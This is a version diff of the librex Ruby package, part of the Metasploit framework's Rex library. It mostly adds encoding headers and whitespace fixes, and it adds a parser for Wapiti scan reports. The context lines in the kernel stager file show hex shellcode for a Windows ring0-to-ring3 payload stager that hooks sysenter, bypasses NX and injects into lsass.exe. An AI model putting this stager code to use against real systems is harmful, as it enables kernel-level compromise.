librex 0.0.65 → 0.0.66

data/lib/rex/parser/retina_xml.rb

@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
 module Rex
 module Parser
 

data/lib/rex/parser/wapiti_nokogiri.rb

@@ -0,0 +1,105 @@
+# -*- coding: binary -*-
+require "rex/parser/nokogiri_doc_mixin"
+
+module Rex
+	module Parser
+
+	load_nokogiri && class WapitiDocument < Nokogiri::XML::SAX::Document
+
+		include NokogiriDocMixin
+
+		def start_element(name=nil,attrs=[])
+			attrs = normalize_attrs(attrs)
+			block = @block
+			@state[:current_tag][name] = true
+
+			case name
+			when "timestamp"
+				@state[:has_text] = true
+			when "url"
+				@state[:has_text] = true
+			when "addr"
+				@state[:has_text] = true
+			when "port"
+				@state[:has_text] = true
+			when "parameter"
+				@state[:has_text] = true
+			when "info"
+				@state[:has_text] = true
+			when "description"
+				@state[:has_text] = true
+			when "solution"
+				@state[:has_text] = true
+			when "title"
+				@state[:has_text] = true
+			end
+		end
+
+		def end_element(name=nil)
+			block = @block
+			case name
+			when "timestamp"
+				@state[:timestamp] = @text.strip
+				@text = nil
+			when "url"
+				@state[:url] = @text.strip
+				@text = nil
+			when "addr"
+				@state[:host] = @text.strip
+				@text = nil
+			when "port"
+				@state[:port] = @text.strip
+				@text = nil
+			when "parameter"
+				@state[:parameter] = @text.strip
+				@text = nil
+			when "info"
+				@state[:info] = @text.strip
+				@text = nil
+			when "bug"
+				report_vuln
+			end
+		end
+
+		def report_vuln(&block)
+			proto = @state[:url].split(":")[0]
+			path = '/' + (@state[:url].split("/")[3..(@state[:url].split("/").length - 1)].join('/'))
+		
+			web_vuln_info = {}
+			web_vuln_info[:web_site] = proto + "://" + @state[:host] + ":" + @state[:port]
+			web_vuln_info[:path] = path
+			web_vuln_info[:query] = @state[:url].split("?")[1]
+
+			#if the URL contains the parameter found to be vulnerable, it is probably a GET
+			#if it does not contains the parameter, it is probably a POST
+			if @state[:url].index(@state[:parameter])
+				web_vuln_info[:method] = "GET"
+			else
+				web_vuln_info[:method] = "POST"
+			end
+
+			@state[:parameter].split("&").each do |param|
+				if param.index("%27") #apostrophe
+					web_vuln_info[:pname] = param.split('=')[0] #sql injection
+					break
+				elsif param.index("alert")
+					web_vuln_info[:pname] = param.split('=')[0] #xss
+				end
+			end	
+
+			web_vuln_info[:host] = @state[:host]
+			web_vuln_info[:port] = @state[:port]
+			web_vuln_info[:ssl] = (proto =~ /https/)
+			web_vuln_info[:proof] = ""
+			web_vuln_info[:risk] = ""
+			web_vuln_info[:params] = @state[:parameter]
+			web_vuln_info[:category] = "imported"
+			web_vuln_info[:confidence] = 90
+			web_vuln_info[:name] = @state[:info]
+
+			db.emit(:web_vuln, web_vuln_info[:name], &block) if block
+			vuln = db_report(:web_vuln, web_vuln_info)
+		end
+	end
+end
+end

data/lib/rex/payloads.rb

@@ -1 +1,2 @@
-require 'rex/payloads/win32'
+# -*- coding: binary -*-
+require 'rex/payloads/win32'

data/lib/rex/payloads/win32.rb

@@ -1,2 +1,3 @@
+# -*- coding: binary -*-
 require 'rex/payloads/win32/common'
-require 'rex/payloads/win32/kernel'
+require 'rex/payloads/win32/kernel'

data/lib/rex/payloads/win32/common.rb

@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
 module Rex
 module Payloads
 module Win32
@@ -23,4 +24,4 @@ end
 
 end
 end
-end
+end

data/lib/rex/payloads/win32/kernel.rb

@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
 module Rex
 module Payloads
 module Win32
@@ -50,4 +51,4 @@ end
 
 end
 end
-end
+end

data/lib/rex/payloads/win32/kernel/common.rb

@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
 module Rex
 module Payloads
 module Win32
@@ -23,7 +24,7 @@ module Common
 	end
 
 	#
-	# Returns a stub that will find the base address of ntoskrnl and 
+	# Returns a stub that will find the base address of ntoskrnl and
 	# place it in eax.  This method uses a pointer found in KdVersionBlock.
 	#
 	def self.find_nt_kdversionblock
@@ -31,7 +32,7 @@ module Common
 	end
 
 	#
-	# Returns a stub that will find the base address of ntoskrnl and 
+	# Returns a stub that will find the base address of ntoskrnl and
 	# place it in eax.  This method uses a pointer found in the
 	# processor control region as a starting point.
 	#
@@ -51,4 +52,4 @@ end
 end
 end
 end
-end
+end

data/lib/rex/payloads/win32/kernel/migration.rb

@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
 module Rex
 module Payloads
 module Win32
@@ -9,4 +10,4 @@ end
 end
 end
 end
-end
+end

data/lib/rex/payloads/win32/kernel/recovery.rb

@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
 module Rex
 module Payloads
 module Win32
@@ -47,4 +48,4 @@ end
 end
 end
 end
-end
+end

data/lib/rex/payloads/win32/kernel/stager.rb

@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
 module Rex
 module Payloads
 module Win32
@@ -10,7 +11,7 @@ module Kernel
 # indirectly.
 #
 module Stager
-	
+
 	#
 	# Works on Vista, Server 2008 and 7.
 	#
@@ -28,23 +29,23 @@ module Stager
 	# * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
 	#
 	def self.stager_sysenter_hook( opts = {} )
-		
+
 		# The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
 		pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00
-		
+
 		# The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
 		kstager   = opts['StagerAddressKernel'] || 0xFFDF0400
-		
+
 		# The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
 		ustager   = opts['StagerAddressUser'] || 0x7FFE0400
-		
+
 		# Target SYSTEM process to inject ring3 payload into.
 		process   = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')
-		
+
 		# A simple hash of the process name based on the first 4 wide chars.
 		# Assumes process is located at '*:\windows\system32\'.
 		checksum  = process[0] + ( process[2] << 8 )  + ( process[1] << 16 ) + ( process[3] << 24 )
-		
+
 		# The ring0 -> ring3 payload blob.
 		r0 =	"\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
 				"\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
@@ -59,23 +60,23 @@ module Stager
 				"\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
 				"\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
 				"\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
-		
+
 		# The ring3 payload.
 		r3  = ''
 		r3 += _createthread() if opts['CreateThread'] == true
 		r3 += opts['UserModeStub'] || ''
-		
+
 		# Patch in the required values.
 		r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + r3.length - 0x1C ) ].pack("V") )
 		r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
 		r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
 		r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
 		r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
-		
+
 		# Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
 		return r0 + r3
 	end
-	
+
 	#
 	# XP SP2/2K3 SP1 ONLY
 	#
@@ -92,7 +93,7 @@ module Stager
 		r3_payload  = opts['UserModeStub'] || ''
 		r3_prefix   = _run_only_in_win32proc_stub("\xff\x25\x08\x03\xfe\x7f", opts)
 		r3_size     = ((r3_prefix.length + r3_payload.length + 3) & ~0x3) / 4
-		
+
 		r0_stager =
 			"\xEB" + [0x22 + r0_recovery.length].pack('C') + # jmp short 0x27
 			"\xBB\x01\x03\xDF\xFF"                         + # mov ebx,0xffdf0301
@@ -105,7 +106,7 @@ module Stager
 			"\xF3\xA5"                                     + # rep movsd
 			"\xBF\x7C\x03\xFE\x7F"                         + # mov edi,0x7ffe037c
 			"\x39\x3B"                                     + # cmp [ebx],edi
-			"\x74\x09"                                     + # jz 
+			"\x74\x09"                                     + # jz
 			"\x8B\x03"                                     + # mov eax,[ebx]
 			"\x8D\x4B\x08"                                 + # lea ecx,[ebx+0x8]
 			"\x89\x01"                                     + # mov [ecx],eax
@@ -119,10 +120,10 @@ module Stager
 	end
 
 protected
-	
-	# 
+
+	#
 	# Stub to run a prepended ring3 payload in a new thread.
-	# 
+	#
 	# Full assembly source at:
 	# /msf3/external/source/shellcode/windows/x86/src/single/createthread.asm
 	#
@@ -140,7 +141,7 @@ protected
 				"\x68\x0D\x16\xFF\xD5\xC3\x58"
 		return r3
 	end
-	
+
 	#
 	# This stub is used by stagers to check to see if the code is
 	# running in the context of a user-mode system process.  By default,
@@ -150,11 +151,11 @@ protected
 	# stub also makes sure that the payload does not run more than
 	# once.
 	#
-	def self._run_only_in_win32proc_stub(append = '', opts = {}) 
+	def self._run_only_in_win32proc_stub(append = '', opts = {})
 		opts['RunInWin32Process'] = "lsass.exe" if opts['RunInWin32Process'].nil?
 
 		process  = opts['RunInWin32Process'].downcase
-		checksum = 
+		checksum =
 			process[0]         +
 			(process[2] << 8)  +
 			(process[1] << 16) +
@@ -191,4 +192,4 @@ end
 end
 end
 end
-end
+end

data/lib/rex/peparsey.rb

@@ -1,6 +1,7 @@
 #!/usr/bin/env ruby
+# -*- coding: binary -*-
 
-# $Id: peparsey.rb 12600 2011-05-12 20:03:55Z hdm $
+# $Id: peparsey.rb 15548 2012-06-29 06:08:20Z rapid7 $
 
 module Rex
 module PeParsey
@@ -9,4 +10,4 @@ end
 end
 
 require 'rex/peparsey/pe'
-require 'rex/peparsey/pe_memdump'
+require 'rex/peparsey/pe_memdump'

data/lib/rex/peparsey/exceptions.rb

@@ -1,6 +1,7 @@
 #!/usr/bin/env ruby
+# -*- coding: binary -*-
 
-# $Id: exceptions.rb 12196 2011-04-01 00:51:33Z egypt $
+# $Id: exceptions.rb 15548 2012-06-29 06:08:20Z rapid7 $
 
 module Rex
 module PeParsey

data/lib/rex/peparsey/pe.rb

@@ -1,6 +1,7 @@
 #!/usr/bin/env ruby
+# -*- coding: binary -*-
 
-# $Id: pe.rb 12196 2011-04-01 00:51:33Z egypt $
+# $Id: pe.rb 15548 2012-06-29 06:08:20Z rapid7 $
 
 require 'rex/image_source'
 require 'rex/peparsey/exceptions'
@@ -195,7 +196,7 @@ class Pe < PeBase
 	# Read raw bytes from the specified offset in the underlying file
 	#
 	# NOTE: You should pass raw file offsets into this, not offsets from
-	# the beginning of the section. If you need to read from within a 
+	# the beginning of the section. If you need to read from within a
 	# section, add section.file_offset prior to passing the offset in.
 	#
 	def read(offset, len)

data/lib/rex/peparsey/pe_memdump.rb

@@ -1,6 +1,7 @@
 #!/usr/bin/env ruby
+# -*- coding: binary -*-
 
-# $Id: pe_memdump.rb 12196 2011-04-01 00:51:33Z egypt $
+# $Id: pe_memdump.rb 15548 2012-06-29 06:08:20Z rapid7 $
 
 require 'rex/image_source'
 require 'rex/peparsey/exceptions'

data/lib/rex/peparsey/pebase.rb

@@ -1,6 +1,7 @@
 #!/usr/bin/env ruby
+# -*- coding: binary -*-
 
-# $Id: pebase.rb 12196 2011-04-01 00:51:33Z egypt $
+# $Id: pebase.rb 15548 2012-06-29 06:08:20Z rapid7 $
 
 require 'rex/peparsey/exceptions'
 require 'rex/struct2'

data/lib/rex/peparsey/section.rb

@@ -1,6 +1,7 @@
 #!/usr/bin/env ruby
+# -*- coding: binary -*-
 
-# $Id: section.rb 12196 2011-04-01 00:51:33Z egypt $
+# $Id: section.rb 15548 2012-06-29 06:08:20Z rapid7 $
 
 require 'rex/peparsey/exceptions'
 require 'rex/peparsey/pebase'

data/lib/rex/pescan.rb

@@ -1,6 +1,7 @@
 #!/usr/bin/env ruby
+# -*- coding: binary -*-
 
-# $Id: pescan.rb 12600 2011-05-12 20:03:55Z hdm $
+# $Id: pescan.rb 15548 2012-06-29 06:08:20Z rapid7 $
 
 module Rex
 module PeScan
@@ -10,4 +11,4 @@ end
 
 require 'rex/pescan/analyze'
 require 'rex/pescan/scanner'
-require 'rex/pescan/search'
+require 'rex/pescan/search'

data/lib/rex/pescan/analyze.rb

@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
 module Rex
 module PeScan
 module Analyze

data/lib/rex/pescan/scanner.rb

@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
 require 'metasm'
 
 module Rex

data/lib/rex/pescan/search.rb

@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
 module Rex
 module PeScan
 module Search

data/lib/rex/platforms.rb

@@ -1 +1,2 @@
-require 'rex/platforms/windows'
+# -*- coding: binary -*-
+require 'rex/platforms/windows'

data/lib/rex/platforms/windows.rb

@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
 module Rex
 module Platforms
 module Windows
@@ -48,4 +49,4 @@ module Windows
 	
 end
 end
-end
+end